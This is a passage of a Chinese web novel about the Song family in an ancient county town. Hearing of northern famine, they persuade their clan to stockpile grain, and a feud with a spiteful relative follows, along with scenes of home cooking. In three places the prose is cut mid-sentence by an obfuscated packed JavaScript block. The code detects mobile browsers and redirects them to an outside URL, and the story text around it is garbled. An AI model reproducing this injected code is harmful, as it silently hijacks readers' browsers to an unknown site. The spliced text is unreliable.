那小经济和尚却以为她是在想师兄手上的吃食，还很大方地掏了一把给宋莺，笑道：“这个菜叫甜甜菜，是师兄逃难路上发现的，是甜的呢，不信你吃吃看。” 这也算坏消息中的好消息了，宋莺找了甜野菜许久都没有结果，心里都快放弃了，不想这会儿出来玩却不费什么功夫就寻了来。 她定定神，接过青白色的嫩菜杆，按照小和尚说的那样，甘蔗似的剥开青色的壳，只吃里边水嫩的芯，果然有一丝丝甜味，即使比往年的春野菜味道淡，怎么也比今年这些苦菜好吃多了。 有了这个菜，至少如宋家这样普通的老百姓，又一次可以吃饭记忆中的味道了，即使永安县未来也如同北方一样接着冷下去，只要一家子人能在艰难时刻想起春天的一点甜，心中泛起的暖意也能撑着人慢慢把日子熬下去。 宋莺摸着菜杆子，笑道：“我喜欢这个味道，小师父，你能帮我问问你师兄么，看他们有没有空过两日给我送十斤过来，一斤我给三文钱行不行？” 说着数了三文钱给他。 这些北地来的和尚，本就在卖这个野菜攒钱做回程的路费，即使是三十文的生意，对他们也挺重要的。 小和尚干脆道：“本来师兄就在卖，给你也就是顺路的事，你把地址给我，过两日我就让师兄摘了新鲜的给你送过去。” 宋莺便把地址告诉他，又掏了十文钱做订金。 宋琴看得眼珠子都快掉出来了，凑过来道：“莺姐儿，你心真好，自己都借钱吃糖了，还白白给和尚做慈善，以后指定能成活菩萨。” 宋莺道：“姑，我是要做小食卖，以后每天来吃十张鹅肉饼子。” 但无论她怎么说，宋琴还是在一边不停的叹气，看她的眼神如同在看一个傻子。 即使她蛋羹做得好吃，难道野菜就能做得好吃么？ 宋琴心里已经断定侄女儿是把钱拿去做慈善了。 宋莺见她这样，自己也没啥心情再解释。 虽然自己是为了赚钱才花了三十文，可能不能卖出去她也没底儿！ 再者，作为一个从来没欠过钱的小姑娘，借了宋律的钱她心里就一直没安稳过，这时打听到了北方的消息，又一瞬间花光了借来的巨款不知怎么反而有了一股尘埃落定的、扭曲的快乐。 宋莺破罐破摔地缠着唐氏要这个吃的要那个吃得，就差坨在地上打滚了。 唐氏扶额，骂道：“小猢狲，我怎生了这么个人来疯的闺女哟，一时好一时歹的！” 8. 一个锅里吃饭的人 因为宋家买得多，掌柜的还专门去后房叫了一个小丫头出来，给宋莺几人捡了一块猪油点心配茶吃，自己则在一边同唐氏介绍家里的其他生意，希望她以后有空常来，自己保准儿给点儿优惠之类。 在一边伺候的小丫头见宋家兄妹一块儿吃糕的场景，想起自身便忍不住暗自垂泪，因为年纪尚小冷不防便漏了一两声。 掌柜的听见便叫她回屋，又跟唐氏道了声失礼，恼道：“娘子莫怪，这是新买的小丫头，调｜教的还不够麻利，动不动就想家。” 要是平时，唐氏绝不是会关心这些鸡零狗碎之事的性子。 可想到那小经济和尚说的话，便多问了一句：“掌柜的，你这个丫头是在哪里买的？我瞧着倒比咱们县的小姑娘高一些，要是价格好，我也买一两个回去使使。” 掌柜的笑意更深，只道：“我的小舅子是大牙行的牙子，这丫头便是他送过来的，长得高壮结实，寻常要买一个她这般年岁的姐儿，约莫要十吊钱上下，但我只花了三吊钱就买回来了，可见我兄弟仁厚，要是娘子想要，我去说和，让他少些银钱卖给娘子。” 宋莺听了便在心里琢磨，掌柜的这个小舅子恐怕是永安县第一批北上买人的牙人，想趁着现在消息还没有传开，以常价把手里便宜收来的灾民脱手，狠狠赚上一笔。 不然也不会把十贯钱的人三贯钱就卖出去。 要干如此赔本的买卖，还不如直接送给姐夫一个丫头，人家也承情。掌柜的这个情况，就只可能是这丫头即使三贯钱卖给他，他小舅子至少也保住了本钱。 这么说，北方已经到了卖儿卖女以求存活的地步了？ 宋莺真有点儿担忧了，永安县只是相对北方较南，可对真正的南方来说却也偏北，北方真有大灾，宁州府肯定要接手大批流民。 到了那个时候，恐怕物价就不是涨五文钱的事了。 以宋家的家底，扛得过去是一定的，但谁也不想去过吃糠咽菜的苦日子呀。 唐氏也不是傻子，心中自有计较，于是推脱了两句要先回家同婆母商量，便携着孩子走了。 之后她也没有再带着几个孩子闲逛，而是抓紧时间分了好几个地方开始购买家用。 宋琴和宋律也明显察觉到了事情不对。 宋律好歹是念书的，在这上边还能有一点联想，反过来还宽慰嫂子，道：“嫂子也别急，周围几个府谁愿意打开城门接收流民？咱们宁州知府也不是吃素的，看县里还安安稳稳的没一点风声就知道了，多半是知府老爷还没松口呢。” 宋律本就生得俊，平时没个正形唐氏还为他担忧，此时一正经，这张脸还真挺有说服力的，她顿时心神镇定许多，只笑：“是这话，不过咱们家也得早早准备。” 中午出门前她只是想着带几个孩子出来走走，并没有想着让他们做事，可宋律既然说了这话，唐氏也没有再把他当做小孩子，便分了一些活过去。 接下来，宋律带着宋琴去买了几斤油盐酱醋。 唐氏则带着宋莺去卖猪肉铺子，挑了两吊子五花肉，一条猪后腿，打算用盐腌制起来再做点儿腊肉或者香肠，即使不像冬月间晒得那样干，只要能腌入味儿，照样能吃十天半个月。 至于青菜，她就只买了五斤黄豆五斤绿豆，想吃了能拿来发一发，还能自家做豆腐。 这些都不用宋家人自己提，只需要在交完订金后留下地址，次日一早店家就会送货上门。 回家路上，一路仍然人声喧哗，但几个人的心境明显大不相同了，就是素来胆大的宋琴都有些吓到了，明明今日同往日并没有什么不同，永安县还是有这么多好吃的、好玩的，但怎么看起来似乎马上就要变天呢？ 宋琴一路上都攥着宋莺的手，宋莺由得她去，只是问唐氏：“娘，人也大减价了是不？” 唐氏心事重重，本来她是从来不跟小孩子说这些的，但今日出门，宋律和宋莺让她真个刮目相看了一次，她深深地觉得，真有事还是不要瞒着他们好，许多事越不知道越是害怕，越是了解得清楚反而越镇定。 唐氏难得开了口，故意云淡风轻地道：“对，但咱们家不买。” 宋莺算着家里新买的东西，道：“米也不买么？”分明这个才是最重要的。 琴姐儿毕竟是李老娘唯一的女儿，格外娇养了些，性子天真烂漫，对许多事想得也没那么清楚，便笑：“呆瓜，米有什么好买的，咱家那么多地，吃还吃不完呢。” 唐氏既然开了口，就不是会敷衍孩子的人，这时也很耐心地教琴姐儿，道：“傻孩子，地里的东西那都是没数的。 莫说现在粮食还没下来，就是下来了，离那会儿也还早呢。咱家去年的粮食可都卖得差不多了，家里的存量，也就阖家够吃两个来月。可若是真有流民进来，咱家保得住地里的么？只有放在家里的粮才安全。” 乍听嫂子说家里可能没米，宋琴脸都白了，她可不想饿肚子。 可等唐氏把其中道理掰开揉碎了给她说，宋琴不知怎么竟然真的不怕了，好像一切的危险，一切的琐事，只要家人在身边，那都不算大事了。 再说，嫂子说的，无非就是粮食的事，多买点不就好了吗？ 于是她的脸上又露出了轻松的笑容，不再像刚才似的阴云密布。 唐氏见了也放心了许多。 至于在一边的宋莺，因为生长于和平年代，何等大灾大难以举国之力也全都稳稳扛过，脸上自然完全没有惧怕之色，还有心情问她：“那你方才怎么不买米呢？” 做父母的，见闺女遇事不慌乱自然高兴，但宋莺其人本来就时常尾巴翘在天上，唐氏委实不愿意让闺女更得意，便忍住了夸她的话，道：“这事不能咱们出面，等会儿回家我先去趟族长家通个气，让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621397|172260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族里去外边买了最好。” 不想这话却把宋莺吓了一跳，唐氏为人素来冷淡，平时跟街坊都不怎么走动，在宋莺这个做闺女的心里，她娘是个除了对自家外有些冷情的人，忽出圣母之言，金光险些没把她闪瞎，困惑道：“咱们不自己偷偷买呀？还得告诉那么多人，万一咱们想的是错的，那听了咱们家的话买了米的人能干么？” 当然，除了怕惹祸上身外，也是因为在宋莺心里，所有人都不如自家人重要，这么说或许有些自私，但却是现代人最好的保全之道。 只可惜这里是古代，唐氏听了心里只是一沉，虽说在人只顾着自家是没有错的，但在这个世道，一个人是没有办法行走的。尤其像莺姐儿这样早慧的孩子，更得时刻让她心存善念，否则很容易误入歧途。 不过唐氏并没有责怪她，只当做闲话家常般教导女儿，问：“莺姐儿，你看五老爷家，他们再恨咱们家，也不过是嘴上说两句，要命的事，他们敢做一件没有？你自己说说这是为何？” 宋莺这个还是知道的，道：“无非是咱们是一个姓的，我们家倒霉，他们家也要跟着倒霉，一荣俱荣一损俱损说的就是这个吧。” 唐氏笑：“你这个年岁，能想到这个已经不错了，可有些事光心里明白是不行的。你知道为何咱们老百姓过日子要说民以食为天吗？” 宋莺：“因为吃饱是人生大事呗。” 唐氏摸摸她包包头，笑：“这话也对，但没说全。总之你记住娘说的，只有吃了一锅饭的才是自己人，其他都是外人。皇亲贵族不吃一锅饭，都是一人一个桌子，你看结果如何？人人斗得乌鸡眼似的，互相残杀的事儿还少么？” 要是自家撇开族里单独买了粮食，这就属于自己把自己当外人了。日后族里真有难处，唯有他们家吃香喝辣，等人挺过来，春晚巷便再没有他们家立足之地。 以后宋家若有事，族里还会出手么？ 宋满当年中秀才，也是举族高兴的事，族长还请大家吃了一餐饭呢。 如今宋满办了个半族学，虽说没外边挣得多，但族里念着他的好，平日里也对他毕恭毕敬。 这世上，许多好事都不是用钱可以衡量得出来的。 宋莺要是这么干，恐怕第一个站出来反对的就是宋老爹。 宋莺听后便明白了，心道自己果然是来古代的时间还不够，看许多事还是现代人那套思维。 在他们那个时代，许多邻里、亲友的关系都十分冷淡，除了年节上会走动一番，再没别的联系，跟陌生人似的，自然用不着为他们担风险。 可古代是完全不同的，一个族就是一家人，即使再窝里斗，族长也绝对不能容许有人做出不利于宗族的事。 宋莺忍不住在心中感慨，自己也算第一次感受到了宗族的团结。 回家以后，唐氏便快步去了李老娘屋子里。 9. 举族买粮 唐氏在屋子里同李老娘说话，这些自然不能让小孩子参与。 好在宋莺知道买粮的事已经八九不离十，也不是多操心了，便起身去了厨房。 既然如今她跟着王婆子学厨，那不管每日有什么事都还是要去灶上帮把手。 送菜的来得很快，压根用不着第二天。 宋莺去的时候，王婆子已经叫了门子齐大叔一起往灶上搬柴，唐氏买了整整一吊钱，足有几百斤重，足够宋家十来口人在不取暖的情况下宽宽裕裕地用三个月。最后灶房实在塞不下，王婆子还专门开了一间罩房才放好。 灶上忙碌，宋莺便去了后厨洗鱼籽、鱼鳔、鱼肝、鱼肠，打算做一锅鱼杂汤。 她想着如今天还冷得慌，今日宋家一家子又都里里外外忙个不停，晚间吃一碗热乎乎的鱼杂汤祛除寒气再好不过。 这也是永安县很受欢迎的市井美味，几乎家家户户都会做，只是流程繁琐，很多主妇都不愿意多做。 但为了营养，就是让宋莺去搬山都不嫌弃重。 她坐在井水边把鱼杂反复清洗，祛除血块和脏东西，鱼肠子也要剪开揉搓。 这些东西王婆子都觉得腥味儿重不愿意动手，宋莺想用油锅，见状便故意支开她，叫了宋琴道：“姑，你给我烧火，我给你拔王婆子的鸡毛，我看过了，有只大公鸡的尾巴毛你前几日漏了拔。” 其实宋琴不是漏了拔，她是不敢拔，那大公鸡跟大鹅似的，人一靠近叼个不停，还会吐口水，她实是怕了。 听见宋莺说要替她拔，宋琴也很上道，跟王婆子道：“今晚我给家里做饭，王婆，你歇着吧。” 宋琴都十岁了，虽说平时做不好饭，但偷李老娘腊肉煎时，再没一回烧着手的，王婆子便撂开手由得她们去，自己只在门口守着。 宋莺叫了宋琴打下手烧柴，自己爆香了葱姜蒜，把鱼杂放到里边用小火慢慢煎。 宋琴本来还不想干这事，烧柴时一直念着鸡屁股，但等鱼杂被小火煎至表面微黄时，刺鼻的腥味逐渐变成了一股炭烤的焦香。 她立马坐正了姿势，道：“今天下午我吃多了油，晚上得多用点鱼肉刮一刮。”还站起来想用筷子偷鱼籽吃。 宋莺见状就用筷子打了她一下，道：“鱼籽还没煎熟，你现在夹它就碎了。” 之后她依次加入豆腐块、萝卜片，要是想汤更有滋味，还可以加胡椒调味，但胡椒价比黄金，宋家根本用不起，就只能用老酸菜和永安县产的贱价花椒代替。 这一碗香喷喷，又有滋味的鱼杂汤鲜香十足，晚上一家子都吃得格外满足，连带着汤都被喝完了。 当然要是有辣椒和白胡椒滋味会更好。这时民间已经开始大范围种植辣椒，只是宋家人不太能吃辣，因此家中并没有常备。 吃完了热乎乎的饭菜，下了学的宋老爹和求学归来的宋文便被李老娘叫走了。 自从唐氏从外边回来说了所见所闻之后，她老人家心里便一直挂记这件事。 民间有句俗语：三年存粮，不闹饥荒。 意思是存够三年的粮食就会在天灾人祸中生存下来，但能存三年粮的都是什么人家？ 隔壁白家或许能做到，但对春晚巷子的寻常百姓来说，能存够一年便是有些实力的人家了。 宋莺家往年用钱的地方多，经常都是吃了一月买一月，今时不同往日，李老娘也愿意多做点打算。 宋家父子毕竟是读书人，不说多仁善，可对民生还是有几分出于本能的关心。 像宋氏，举族往上爬了一个台阶也就是这十来年间的事，眼见着第一批念书的孩子过几年就要科举了，这时若遇上个天灾人祸，孩子都不念书回乡下种地去了，这对族里的损失便不是饿几年肚皮可以衡量的。 宋满便嘱咐宋文：“明日你多留心，同同窗多说说话。” 宋文点点头，笑着应了。 这对他不算难事，毕竟他平时都在王举人家念书，不止早晚要过闹市，还有几个家世不同寻常的同窗。 次日出门，宋文便格外留心，连驴车也没有坐，而是自己步行去了先生家，又厚颜同消息灵通的同窗打探了几句。 都是一个地方的读书人，人家不会主动说，但有人问起来了也不会瞒着，反而很敞亮地告诉宋文：“这也不是什么秘密，无非是帝都想让宁州府接收流民。” 只是如今的宁州知府苏大人是太后的娘家人，实属天潢贵胄出身，三年下来政绩十分瞩目，哪里肯这个时候接收这么多流民。 同窗还安慰宋文，道：“咱们有太后撑腰，多半不会有什么事，你也放宽心，凡事要多观望。” 这些消息灵通之家，大多都是有三年存粮的大户人家，真有天灾人祸人家也耗得起。 但对宋家甚至宋氏一族来说，他们显然是观望不起，也耗不起的。 宋文回家与爹一合计，回屋便同妻子道：“眼见着要四月，族长家也差不多该给学堂送米了，明日一早，你过去瞧瞧，看族长家如何说，要是他家不买，咱家便自己买点儿存着，总归提了醒，日后有个什么也怪不着咱们头上，若是他家要买，我们就只出钱，让族里操心去。” 宋文回来得晚，晚间灶上多会给他留点儿热汤面，宋琴睡着了天雷也打不醒，但宋莺是个能起得来的人，每晚都要蹭两口他爹的饭。 听见爹这么说，便挤眉弄眼地对唐氏竖起了大拇指。 唐氏立马就笑了起来，明白她闺女是在说：娘真厉害！爹和阿公当真要同族里通气~ “促狭鬼。”唐氏笑骂一声，次日一早便提了一篮子香梨、捡了几样唐家送来的山蘑菇去了族长宋凤家通气。 宋凤的媳妇姓邢，人称邢娘子，约莫三十许人，看着还跟二八姑娘似的青春貌美。 她娘家便是做糖油生意的糖商，先前是她姐姐嫁过来做的媳妇，可后来姐姐难产死了，白白丢下一个儿子元哥儿没人照顾，家里便又送了邢娘子过来，好在邢家念着有些对不起女儿，出门时也给她置办了一笔丰厚的嫁妆。 宋凤能年纪轻轻就当上族长，邢家也没少出力，宋凤的大儿子宋元如今便在邢家念书，邢娘子生的小儿子宋宝则在宋老爹处开蒙。 如此，宋氏族人才放心把孩子交到宋莺家里。 唐氏进门便是三进的大院子。 后宅四处支着花团锦簇的布帘儿，屋里也烧得暖融融的，邢娘子只着了一身轻薄的细绸裙儿， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621398|172260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在炕上打算盘，左手边放着一盘子酥油泡螺儿，右手边则是一碟子洒了白糖霜的糖脆梅。 虽说邢娘子家中富裕，但她与唐氏却是平辈，两人说话时规矩也没那么多，邢娘子也不是那等鼻孔朝天的人，伸手便拉了唐氏一起坐着吃茶用点心。 唐氏只觉，积财之家果然不是等闲之辈，遂挑了颗糖脆梅用了，才把自家的所见所闻一一说来，问她要不要买粮，道：“也不怕嫂子笑话，这事儿或许你与凤二哥早已有了消息，心里也有了章程，可我是个存不住事的，既然知道了总得过来问一问才安心。” 邢娘子确实有些诧异，流民安置的事，她娘家人早几日便同她说了，不过她并没有多当回事，总归自家不会缺吃缺喝，甚至邢家因为最近糖价上涨还捞了不少好处。 但唐氏家中毕竟出了两个秀才，宋老爹还教着那么多孩子，既然唐氏能来，说明这便是他们一家人的态度。 如此邢娘子便咯噔一声，若是这事真那么重要，自己却没能及时传递消息，日后若让二哥知道，夫妻间岂不是要生嫌隙？ 邢娘子是商女出身，难免重利了一些，但本心不坏，只要有人点她，她也不是那等掉在钱眼子里的势力人，便寻人取了一大篮子枇杷和樱桃回礼，道：“嫂子你略等等，等会儿相公回来我便同他说。” 如此唐氏便提着果篮回家去了。 四月正是吃樱桃的季节，但天冷，春晚巷子里的樱桃树今年都还没结果子。 这一篮子水果，估计得往更南方运回来才有。 看起来是家常物件，也显得两家人亲近。 可仔细一看才知道，这一篮子水果并不比酥油泡螺儿便宜。 宋莺用糖渍了一碗红彤彤的樱桃，塞她娘嘴里一颗，道：“娘，邢娘子真会做人。” 唐氏想起自己过去时邢娘子既不显得亲热又不显得冷淡的态度，也道：“可不是么，不过娘还是觉得你和琴姐儿用不着那样，你们啊，只要比如今略懂事一些娘便阿弥陀佛了。” 那等十全十美的完人日子，真过起来，还不知什么滋味儿呢。 李老娘剥着枇杷，一笑：“你就惯着吧，以后两孩子砸手里，我看你怎么办。” 一家子人和和美美地吃着樱桃，到了中午，宋凤便叫了许多辈分较高的男人过去，这里边自然也包括宋老爹。 下午，宋凤又另叫了几个人去连襟粮商家买粮。 宋老爹等人则开始挨家挨户登门收银子，因为一条巷子差不多都是姓宋的，大家也不怕走漏风声。 宋凤规定一户人家交十两银子，这样存的米无论如何也够五口之家吃够三个月，再加上寻常人家一般都存有一季的粮，两者加起来，在永安县这样繁华的县城，无论什么灾都可以扛得过去了。 宋凤也说了，以后若是粮价没涨，他还愿意十两银子一户把粮再收回去。 如此还有什么好说的，大部分人都点了头，即使手上暂时不够，也东家借一点西家借一点把钱凑上。 根据宋莺观察，整个春晚巷子确实无比团结，这么大的事，这么多的银子，竟然没有一户不买的。 当然，事有例外，两条街外的五老爷家就出了点岔子。 10. 都是鸭货惹的祸 凤二是个靠得住的年轻人，知道粮食可能会短缺之后自己买了粮，又马上让连襟把在别县的粮食调回来，填补永安县的空缺，这样当粮价节节高升时不至于引起本地太大的波动。 至于外县的百姓如何，显然就不在凤二的考虑范围内了，他也不是活菩萨，他只需要对宋家人负责，以及保证在自己做族长时宋氏能有一个和谐安稳的居住环境而已。 这样大费周章，急匆匆拉回来的粮食转眼就一家一家发了下去。 买粮时族里怕粮价攀升，都是藏着掖着，买回来后就大大方方的了。 当日晌午，春晚巷子便家家户户都在发新米，每家都有四石大米，两石糙米，一石黄米，一石小麦，还每户都退了近四两没花完的银子。 本来凤二多收钱就是为了以防万一，巷子里也都清楚，但谁也没想到钱还能回来，真个如同发了笔横财一般。 宋家人心头大石落下，恰逢经济和尚又送来了野菜，宋莺便缠着娘想用新粮烙猪油渣野菜饼吃，试试味儿。 唐氏自从邢娘子处回来，便老想着那花骨朵般的妇人在宅子里做万事周到的活菩萨十分可怜，私下同丈夫说了几次，宁愿闺女没心没肺的过一辈子，这会儿便笑着点头，道：“新米还没磨，明早让王婆子捡几斤去磨成面粉回来再做。” 没想到一向舍不得吃穿的李老娘却放了筷子，摸着嘴角乍起的一串燎泡，道：“这点小事儿，还劳累小王作甚，老娘去就成啦。” 宋莺等人表现得还算淡定，宋琴却真吃了一惊，到了晚上熄灯时都还回不过神，道：“莺姐儿，你说我娘是不是让鬼上身了。” 她娘那人，宋琴是知道的，格外在意自己老太太的面子，家里有个什么活，能指使别人的那是万万不肯自己干的，怎么会突然发疯叫王婆子“小王”？ 宋莺笑：“姑，祖母是花多了钱睡不着，想着去菜市场瞧粮价涨不涨，要是不涨估计嘴角还得生个大燎泡。” 闻言，宋琴对老娘这守财奴简直没话说了，睡过去前还嘀咕一声：“改日真要大花一顿，把老娘吝啬鬼这毛病改改不可！” 至于她要如何花，宋莺没敢细问，只道：“姑，以后你发了财念不念着我都行，可要是闯了祸，那千万不要说出我的名字啊。” 到了次日早上，李老娘一通洗洗涮涮，还梳了个十分贵老太太的发髻，戴了两根银簪子才背着手溜溜达达的出门，走前嫌弃身后跟着的人太少，还特意想多捎点人。 宋琴和纸鸢知道她德行，都不想跟她去，最后只有一个没跟李老娘出过门的宋莺乐颠颠的去了。 路上李老娘提着两斤面在粮店东看西看，看粮价真个儿在一文两文的慢慢涨，心里总算好受了许多，觉得银子不算白花了。 宋莺则每到一处有熟人的地方就按照李老娘嘱咐，屁股翘起来，谄媚道：“祖母，面给我拎着就成，你在家劳累了，出门要多歇歇。” 那些婆子见了，都夸宋莺孝顺，说李老娘持家有方，难怪一门两秀才。 李老娘被夸得满面红光，笑得眼睛只有一条缝儿。 宋莺觉得，祖母都恨不得让她喊“喳”了，难怪家里人死活不跟她出来。 因为昨日宋家收粮的动静大，有认识李老娘的妇人还凑过来问：“老安人，春晚巷子买那么多粮干什么？” 李老娘虽高兴自家粮没白买，但也忧心城里亲朋好友吃不上饭，倾巢之下安有完卵的道理她还是知道的，便耐心道：“本来今年春天就冷，柞蚕都没了，庄稼能不能收还未可知，总得存点儿吧。” 不料这话恰好落在了卖糟鸭掌的芽嫂子耳朵里。 这芽嫂子和五老爷家同住在浣纱巷子里，家中很有些拮据，每月靠她的小食生意过活儿日子依然过得紧巴巴的，所以这芽嫂子还兼了另一项神婆生意，每日替三姑六婆拜佛讲经打小人。 乌老娘年岁大了，家里日子越发不成，也时常叫了芽嫂子进门说话，两人咒了宋莺家不知多少回。 李老娘不知这背后的事，但芽嫂子背地里干的勾当也听旁的媳妇说过，她是分外看不上这等搬弄口舌之人的。 芽嫂子见这将祖孙在街上溜达，想起宋氏买了那么多粮食，便也提着自家的糟鸭掌、卤鸭肠、鸭肝，煮花生过来推销，道：“大娘家日子过得越发好了，姐儿可要捡两样鸭货尝尝。” 李老娘还没说话呢，一边卖猪肉的屠户冷笑：“芽嫂子，你那糟鸭掌上次卖给我浑家，害她拉了几日肚子都不见好，你还不肯认。亏得我浑家年轻力壮扛了过来，你卖给大娘小孩儿，出了事你担得起么？” 李老娘本来就没打算买，听屠户这么说，更把宋莺拉得远了。 那芽嫂子见屠户说自己的菜不干净，跑了一单肥客，立马就跳起来要撕他的嘴。 这也是市井泼妇的彪悍之处了，打起人来连抓带挠，百多斤的汉子都遭不住，挠得屠户一脸的印子，不过她也没讨着好，一篮子鸭货都让踢翻在地上。 许多还滚到了泔水勾里，李老娘带着宋莺在一边看戏，还抽空看了一眼鸭掌，上边鸭指甲都没有剪，黑乎乎的一团不知道是泥巴还是酱料，可见屠户所言非虚。 芽嫂子和屠户扭打了一阵，也不做生意了，蹲下来捡了鸭货，呸了口道：“我非让你们知道老娘信什么不可！” 她不敢对屠户家如何，这是杀惯了猪的，人也凶悍，就只好记恨路过的宋家祖孙两人。要不是她们非要走这条路，她也不能遇见她们，丢这么大一个丑。 芽嫂子回家让女儿用凉水将捡回来的鸭货涮了涮，让女儿捡两样自己吃，她女儿不肯，嫌腌臜。芽嫂子自己也嫌，便捡了鸭货去了五老爷家给乌老娘吃。 乌老娘吃得津津有味，看芽嫂子不吃还想给她喂，芽嫂子避开了去，道：“嫂子，我这会子来是跟你通风报信的，你知道吗？你们家买粮上了当了。” 乌老娘本来对举家花五两银子买米就不得劲，眼睛一瞪，道：“这话怎么说？” 芽嫂子走街串巷，邢娘子屋子里也不是铁桶一块，她很是得了些风声，笑：“我听人说，这个主意是似乎是莺姐儿家出的，那天有人看见她娘去了趟邢娘子屋里，次日你们就买了粮……再说，宋文这几日也跟着凤二哥上下走动，结交了不少有钱人。我觉得，你们是让他们家做局害了，花钱给别人做了踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621399|172260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚石。” 乌老娘听了，嘴上说着不信，起身将芽嫂子打发了，回头叫来小儿子宋敦问了两句：“那宋文最近当真跟着凤二在外走动？” 宋敦翘着二郎腿，也吃了两样鸭货，不服道：“可不是么？昨晚我让凤二哥带上我，他不肯，只是笑。我差那宋文什么了？” “儿啊，咱们母子是让人做局害了！” 乌老娘嚎啕一声，气得一佛出窍二佛声天，黑着个脸走到了春晚巷子，她也不敢去找宋莺家的茬，宋老爹在族里德高望重，不是她骂两句能撼动的。 唯一能骂的只有邢娘子，这是个后来的狐狸精，撺掇着凤二不亲近宋敦，亲近宋文，也不知两人私下是不是虫儿钻花蕊，烂了裤｜裆。 乌老娘也不敲门，直接在门上叫骂起来，嘴里嚷着让邢娘子还钱，自家不要粮食，她觉得上次没从宋老爹手里要来腊肉就是因为太给他脸子了。 未此。乌老娘先从邢娘子是替姐姐嫁过来守孩子的继室骂起。 “谁不知道你佛口蛇心，撺掇着元哥儿不跟宋家亲近，远远的把孩子送走，自己小儿子倒是送到宋满家，同一族的子弟一同吃一同穿，以后长大了，这个家还不让你们母子昧了去？” 乌老娘不知道，这其实都是凤二的安排。宋家怎及邢家富贵？元哥儿作为长子嫡孙自然要用最好的，尤其邢家还找了个告老还乡的老翰林来教元哥儿。邢娘子巴不得送小儿子回娘家，可凤二不让。 说着，她又说起粮食的事，道：“咱们宁州是什么地界，沃土千里，天府之乡，鱼丰米足，什么时候缺过粮？偏你要捣鼓着族里这时候多花半吊子钱从你兄弟手里买高价粮，不知自己昧了多少去！” 凤二家的门子也不是吃素的，平时对着巷子里姐姐好哥哥好的，如今被人打上门，也是一口一个“老杂毛”，把五老爷早年赌博输得倾家荡产的事说了又说。 这一通骂战，惹得巷子里的走卒贩夫和买菜回来的丫头婆子、数着粮食的当家主妇纷纷竖起了耳朵，有那离得近的，怕得罪了凤二家并不敢伸头看，还专门花了几个子叫了婆子去听了回来学给自己听。 邢娘子没有出门，她不想做个泼妇，可也让气得够呛，尤其乌老娘年纪大了，真个滚刀肉一般，打不得骂不得，还是她奶娘叹气，道：“娘子，吃了这个亏，忍忍，晚间姑爷回来他会给你做主的。这会儿咱们越忍，男人就越心疼你。” 邢娘子抽着气，狠道：“真这样，也绝不能便宜了这老货，你去，把钱还给她，叫人拉了粮食回来，以后就是米烂在仓里我也不分给这等浑人！” 那边李老娘带着孙女磨了面回来，亲自用前两日唐氏买的猪板油熬了一锅香喷喷的猪油。 祖孙几人都围着锅团团转，看水油混合物逐渐融合，油面上浮起一块一块的猪油渣。 宋莺捡了一碗出来，也不切碎，只往上洒了一些白糖，给家里上上下下都分了一小块，一起吃得嘎嘣作响。 这种粗野的大荤，也没啥吃相可说，谁都说一脸的油光，但宋家人都还挺爱吃的。 宋琴还不肯洗手，非要让宋莺赶紧做了饼子，她要揩在上边吃干净。 11.吃完饼子打群架 李老娘是个节俭人，买粮花了那么些银子心里已在滴血，兼之方才回屋一数银子，家里存钱就剩五十多两，还有两个闺女没嫁，一个儿子没娶，愁得眉头都能夹死苍蝇。 但她知道两个姐儿借了小儿子的钱，急着还账，见闺女这般嘴馋，冷笑一声，也不阻拦，还以面粉一斤十文，油渣一斤二十文的价格，把家里的粮卖给他们，道：“要是卖不出价，以后就在做家务抵账，让咱们过点儿安生日子。” 身负巨债的宋莺只好使唤小姑在一边一起洗菜、切菜、揉面。 以前宋莺做饭，李老娘并未见过，只当是王婆子做了九成，宋莺就起锅放了点盐巴之类的便充做自己的，所以这次是想故意让她长个记性。 可此时一看，这孩子做饭确实很有章法。 市井小食不能贵，宋莺用的油就少，只有面团里起酥的那一点，煎饼也是巴着锅底子一块一块地煎，如此五六张做下来，锅里也没再添油，饼子却一张一张都摞了起来。 绣花和做饭都是手艺上的事，李老娘自己便是此道中人，还有什么不明白的。 刺绣上，一根丝能劈八根能补贴家用，能劈十二根就是天才。 做饭上，能用一点油做出全家饭的是精明主妇，能用一家人的油做出色香欲俱全的好菜，不说是天才，至少也能靠着做饭活命了。 宋莺的猪油渣野菜饼是卖给急需补身的老百姓的，除了考虑成本还要考虑营养，于是又去了一些去了肉的鱼排，打算往里加豆芽菜熬汤，鱼排是下脚料，价格很贱，三文钱就能买一斤。 民间说的“膏粱养力，藜藿补虚”，也就是这一汤一饼了。 等到饼子变成金黄色，豆芽鱼汤也咕嘟咕嘟地冒奶白色的泡，宋莺便取了碟子碗儿给家中人都分了一份。 